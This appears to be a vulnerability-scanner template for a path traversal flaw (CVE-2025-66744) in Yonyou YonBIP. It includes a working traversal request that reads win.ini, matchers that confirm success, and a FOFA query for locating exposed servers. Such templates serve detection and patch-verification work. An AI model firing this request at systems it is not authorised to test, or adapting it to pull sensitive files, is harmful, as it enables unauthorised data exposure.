Yonyou YonBIP - Path Traversal

id: CVE-2025-66744

info:
  name: Yonyou YonBIP - Path Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Yonyou YonBIP v3 and before contains a path traversal caused by improper validation in the LoginWithV8 interface of the series data application service system, letting unauthorized attackers access sensitive information.
  impact: |
    Unauthorized attackers can access sensitive system information, potentially leading to data exposure.
  remediation: |
    Update to the latest version beyond v3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66744
    - https://github.com/iSee857/YonYouBip-path-travel
  classification:
    cve-id: CVE-2025-66744
    epss-score: 0.01446
    epss-percentile: 0.70106
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="YonBIP | 数据应用服务"
  tags: cve,cve2025,yonbip,lfi,vkev

http:
  - raw:
      - |
        GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[fonts]"
          - "[extensions]"
          - "Message"
        condition: and

      - type: status
        status:
          - 200
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